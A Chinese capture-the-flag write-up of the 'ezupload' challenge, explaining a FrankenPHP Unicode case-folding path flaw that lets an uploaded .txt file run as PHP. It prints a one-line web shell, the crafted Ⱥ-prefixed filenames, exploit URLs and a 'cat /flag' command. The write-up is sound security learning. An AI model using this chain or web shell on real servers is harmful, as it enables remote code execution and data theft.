一、题目概述
1. 题目信息
- 题目名称:ezupload
- 核心技术点:FrankenPHP Unicode case-folding 漏洞利用
- 难度等级:中等偏上
- 考察目标 :
- 对 Web 应用源码的分析能力
- 对服务器中间件漏洞的理解与利用
- Unicode 字符编码特性的掌握
- 文件上传漏洞的绕过技巧
- RCE(远程代码执行)的实现与利用
2. 环境信息
- 服务器:FrankenPHP
- PHP 版本:8.4.15
- 安全限制 :
- open_basedir:/app/public:/tmp
- disable_functions:包含大量危险函数,但未禁用 system 函数
二、源码分析
1. 核心代码结构
php
<?php
$action = $_GET['action'] ?? '';
if ($action === 'create') {
$filename = basename($_GET['filename'] ?? 'phpinfo.php');
file_put_contents(realpath('.') . DIRECTORY_SEPARATOR . $filename, '<?php phpinfo(); ?>');
echo "File created.";
} elseif ($action === 'upload') {
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadFile = realpath('.') . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
$extension = pathinfo($uploadFile, PATHINFO_EXTENSION);
if ($extension === 'txt') {
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
echo "File uploaded successfully.";
}
}
}
} else {
highlight_file(__FILE__);
}
2. 代码功能分析
- action=create :创建文件,文件名由 filename 参数指定,默认创建 phpinfo.php 文件,内容为
<?php phpinfo(); ?> - action=upload:上传文件,仅允许 .txt 后缀的文件
- 默认行为:显示当前文件的源代码
3. 安全限制分析
- 文件上传限制:仅允许上传 .txt 后缀的文件,其他文件类型会被拒绝
- 文件名处理:使用 basename() 函数处理文件名,防止路径遍历漏洞
- 路径处理:使用 realpath() 函数获取当前目录的绝对路径,确保文件创建和上传在指定目录内
三、FrankenPHP 漏洞原理深度分析
1. FrankenPHP 简介
FrankenPHP 是一个现代的 PHP 应用服务器,基于 Caddy 服务器和 Go 语言开发,提供了高性能的 PHP 运行环境。它的设计目标是简化 PHP 应用的部署和运行,同时提供更好的性能和安全性。
2. 漏洞位置与原理
漏洞位于 FrankenPHP 的 CGI 路径解析逻辑中(frankenphp_src/cgi.go),具体涉及以下步骤:
2.1 路径解析流程
- 路径获取:服务器接收客户端请求,获取 URL 路径
- 大小写转换 :使用
strings.ToLower()将路径转为小写 - 扩展名查找:在小写路径中查找 .php 扩展名
- 路径切片:使用在小写字符串中找到的索引来切片原始字符串,确定 PHP 脚本的路径
2.2 漏洞根源
该逻辑假设 len(lower(s)) == len(s),即字符串在转为小写后长度保持不变,但在 Unicode 中这并不总是成立。
3. Unicode 字符特性分析
3.1 特殊 Unicode 字符
字符 Ⱥ (U+023A) 具有独特的大小写转换特性:
- 大写形式:Ⱥ (UTF-8 编码:0xC8 0xBA -- 2 字节)
- 小写形式:ⱥ (UTF-8 编码:0xE2 0xB1 0xA5 -- 3 字节)
每个 Ⱥ 字符在路径中会使小写后的字符串长度增加 1 字节。
3.2 长度变化计算
| 字符数量 | 大写形式长度(字节) | 小写形式长度(字节) | 长度差(字节) |
|---|---|---|---|
| 1 | 2 | 3 | +1 |
| 2 | 4 | 6 | +2 |
| 3 | 6 | 9 | +3 |
| 4 | 8 | 12 | +4 |
| n | 2n | 3n | +n |
4. 漏洞利用原理
构造 URL 路径如 .../ȺȺȺȺshell.php.txt.php,利用过程如下:
- 大小写转换:服务器将路径转为小写,4 个 Ⱥ(8 字节)变成 4 个 ⱥ(12 字节),字符串增长 4 字节
- 索引计算:服务器在扩展后的字符串中找到最后的 .php,假设索引为 N
- 切片操作:服务器将索引 N 应用到原始(较短的)字符串上。由于原始字符串短 4 字节,切片索引 N 会落在原始字符串中 .php 实际起始位置之后 4 字节处
- 路径截断:通过精确计算 Ⱥ 字符的数量,可以强制切片操作从原始路径中截断末尾的 .php 扩展名。服务器认为它在执行 PHP 脚本(因为 URL 以 .php 结尾),但实际解析的磁盘文件路径是我们上传的 .txt 文件
5. 利用条件分析
- 服务器使用 FrankenPHP:漏洞特定于 FrankenPHP 的路径解析逻辑
- 允许上传 .txt 文件:需要上传包含 PHP 代码的 .txt 文件作为 Web Shell
- 存在文件创建功能:需要创建触发文件,构造完整的利用路径
- system 函数未被禁用:需要通过 system 函数执行系统命令获取 flag
四、利用步骤详细分析
1. 上传 Web Shell
1.1 构造文件名
使用 4 个 Ⱥ 字符 + "shell.php.txt",即 ȺȺȺȺshell.php.txt。
- 选择 4 个 Ⱥ 的原因:根据漏洞原理,4 个 Ⱥ 字符会使小写后的字符串长度增加 4 字节,正好对应 .php 扩展名的长度,确保切片操作能准确截断末尾的 .php。
1.2 构造文件内容
使用 <?php system($_GET["cmd"]); ?> 作为文件内容,实现通过 GET 参数 cmd 执行系统命令的功能。
1.3 执行上传操作
发送 POST 请求到 http://122.51.209.95:34026/?action=upload,上传构造好的文件。
2. 创建触发文件
2.1 构造触发文件名
使用与上传文件相同的前缀,后缀改为 .php,即 ȺȺȺȺshell.php.txt.php。
- 触发文件的作用:确保服务器能识别到该路径为 PHP 脚本路径,从而进入路径解析逻辑。
2.2 执行创建操作
发送 GET 请求到 http://122.51.209.95:34026/?action=create&filename=ȺȺȺȺshell.php.txt.php,创建触发文件。
3. 触发 RCE
3.1 构造利用 URL
将上传的文件名 URL 编码后,添加 .php 后缀,得到完整的利用 URL:
http://122.51.209.95:34026/%C8%BA%C8%BA%C8%BA%C8%BAshell.php.txt.php
- URL 编码的原因:Ⱥ 字符的 UTF-8 编码为 0xC8 0xBA,需要进行 URL 编码才能正确传输。
3.2 验证 RCE 是否成功
发送 GET 请求到利用 URL,附带参数 cmd=echo "SUCCESS";,验证是否能成功执行命令。
3.3 执行系统命令获取 flag
发送 GET 请求到利用 URL,附带参数 cmd=cat /flag,获取根目录下的 flag 文件内容。
五、执行过程与结果分析
1. 执行过程
-
上传文件:
- 命令:
python exploit.py - 输出:
File uploaded successfully. - 分析:成功上传了包含 Web Shell 的 .txt 文件。
- 命令:
-
创建触发文件:
- 命令:
python exploit.py(脚本自动执行) - 输出:
File created. - 分析:成功创建了触发文件,为后续的漏洞利用做好准备。
- 命令:
-
验证 RCE:
- 命令:
python exploit.py(脚本自动执行) - 输出:
RCE Successful! - 分析:成功利用漏洞,将 .txt 文件作为 PHP 脚本执行,验证了 RCE 的可行性。
- 命令:
-
获取 flag:
- 命令:
python exploit.py(脚本自动执行) - 输出:
Flag: flag{oupeng_ctf_5a7953361adf} - 分析:成功执行系统命令,读取了根目录下的 flag 文件内容。
- 命令:
2. 结果分析
- 执行结果:成功获取 flag,验证了漏洞利用的有效性。
- 技术要点 :
- 正确利用了 FrankenPHP 的 Unicode case-folding 漏洞
- 准确计算了所需的 Ⱥ 字符数量
- 成功绕过了文件上传的扩展名限制
- 实现了从文件上传到 RCE 的完整利用链
六、自身不足分析
1. 技术知识储备不足
- 中间件漏洞了解有限:对 FrankenPHP 的了解仅限于本题的漏洞,缺乏对其他中间件漏洞的系统性学习。
- Unicode 编码特性掌握不深:仅知道部分特殊 Unicode 字符的特性,对 Unicode 编码的整体理解不够全面。
- 源码分析能力有待提高:在分析源码时,虽然能识别基本的逻辑,但对潜在的安全问题的敏感度需要加强。
2. 漏洞利用思路局限
- 思维定式:初始分析时,首先考虑的是传统的文件上传漏洞绕过方法,如文件名截断、MIME 类型欺骗等,没有及时联想到中间件层面的漏洞。
- 创新能力不足:在利用漏洞时,主要依赖已有的分析思路,缺乏自主创新的利用方法。
- 细节处理不够严谨:在构造利用 payload 时,虽然知道需要使用 4 个 Ⱥ 字符,但对具体的长度计算过程理解不够深入。
3. 工具使用与自动化能力
- 脚本编写能力:虽然能编写基本的利用脚本,但脚本的鲁棒性和可扩展性有待提高。
- 工具链使用:对其他可能的辅助工具(如 Burp Suite、编码工具等)的使用不够熟练。
- 自动化程度:脚本的自动化程度有限,如没有实现对不同数量 Ⱥ 字符的自动测试。
4. 问题分析深度与广度
- 分析深度不足:对漏洞的原理理解停留在表面,没有深入研究 FrankenPHP 的源码实现细节。
- 分析广度不够:仅关注了与本题直接相关的漏洞,没有拓展到类似的其他中间件或框架的漏洞。
- 举一反三能力:在解决本题后,没有主动思考类似的漏洞模式可能出现在哪些其他场景中。
七、经验总结与与寻常经验的不同
1. 技术经验总结
- 中间件漏洞的重要性:传统的 Web 安全测试往往关注应用层漏洞,而忽略了中间件层面的问题。本题提醒我们,中间件漏洞同样可能导致严重的安全问题。
- Unicode 特性的安全影响:Unicode 字符的复杂性为安全漏洞提供了新的攻击面,需要加强对 Unicode 编码特性的学习和理解。
- 文件上传漏洞的新绕过思路:除了传统的文件名截断、MIME 类型欺骗等方法外,还可以利用服务器中间件的漏洞来绕过文件上传限制。
- 完整利用链的构建:从文件上传到 RCE 的完整利用链需要多个步骤的配合,每个步骤都需要精心设计和测试。
2. 思维方式的转变
- 从应用层到系统层:传统的 Web 安全测试主要关注应用层的代码逻辑,而本题要求我们将视野扩展到服务器中间件的实现细节。
- 从静态分析到动态利用:不仅要分析源码的静态逻辑,还要理解服务器在处理请求时的动态行为,特别是路径解析、编码转换等过程。
- 从常规思路到创新思路:在面对看似无解的限制时,需要打破常规思维,寻找其他可能的突破点,如中间件漏洞、特殊字符特性等。
3. 与寻常经验的不同
- 漏洞类型的特殊性:寻常的文件上传漏洞通常涉及应用层的验证逻辑缺陷,而本题涉及的是服务器中间件的 Unicode 处理漏洞,类型更加特殊。
- 利用方法的创新性:传统的文件上传绕过方法主要针对应用层的验证逻辑,而本题利用的是 Unicode 字符在大小写转换后的长度变化特性,方法更加创新。
- 技术栈的多样性:本题不仅涉及 PHP 应用代码的分析,还涉及 FrankenPHP 服务器的漏洞利用、Unicode 编码特性的掌握等多个技术领域,技术栈更加多样化。
- 分析深度的要求:寻常的文件上传漏洞分析通常只需要理解应用层的验证逻辑,而本题需要深入理解 FrankenPHP 的路径解析逻辑、Unicode 字符的编码特性等底层细节,分析深度要求更高。
4. 未来改进方向
- 加强中间件漏洞的学习:系统学习常见 Web 服务器和中间件的漏洞类型、原理和利用方法。
- 深入研究 Unicode 编码特性:全面了解 Unicode 编码的各种特性,特别是可能被用于安全漏洞的特殊字符和转换规则。
- 提高源码分析能力:加强对 Web 应用和中间件源码的分析训练,提高对潜在安全问题的敏感度。
- 培养创新思维:在解决安全问题时,鼓励自己打破常规思维,寻找新的突破点和利用方法。
- 加强工具使用能力:熟练掌握各种安全测试工具的使用,提高漏洞发现和利用的效率。
- 拓展技术视野:关注安全领域的最新研究成果和漏洞披露,及时了解新的攻击技术和防御方法。
八、总结
1. 本题的技术价值
- 揭示了中间件漏洞的重要性:提醒安全研究人员和开发者关注中间件层面的安全问题。
- 展示了 Unicode 特性的安全影响:为 Unicode 相关的安全研究提供了新的思路。
- 提供了文件上传漏洞的新绕过方法:丰富了文件上传漏洞的利用技术。
- 构建了完整的安全利用链:从文件上传到 RCE 的完整利用过程,展示了安全漏洞的危害。
2. 个人收获
- 技术知识的拓展:学习了 FrankenPHP 的 Unicode case-folding 漏洞,加深了对 Unicode 编码特性的理解。
- 思维方式的转变:从传统的应用层漏洞分析转向了中间件层面的漏洞利用,拓宽了安全测试的视野。
- 实践能力的提升:通过编写和执行利用脚本,提高了漏洞利用的实践能力。
- 安全意识的增强:认识到安全漏洞可能存在于系统的各个层面,需要全方位的安全测试和防护。
3. 对未来安全工作的启示
- 多层次安全测试:在进行安全测试时,不仅要关注应用层的代码逻辑,还要关注服务器中间件、操作系统等底层组件的安全问题。
- 深入理解技术细节:安全漏洞往往隐藏在技术实现的细节中,需要深入理解各种技术的工作原理和实现细节。
- 持续学习与创新:安全技术不断发展,新的漏洞和攻击方法不断涌现,需要保持持续学习的态度和创新的思维。
- 构建完整的安全防护体系:从应用层到系统层,构建多层次的安全防护体系,提高系统的整体安全性。
通过对本题的深入分析和利用,我不仅成功获取了 flag,还学到了许多新的技术知识和思维方法,这将对我未来的安全学习和工作产生积极的影响。同时,我也认识到了自身的不足,明确了未来的改进方向,为进一步提高自己的安全能力奠定了基础。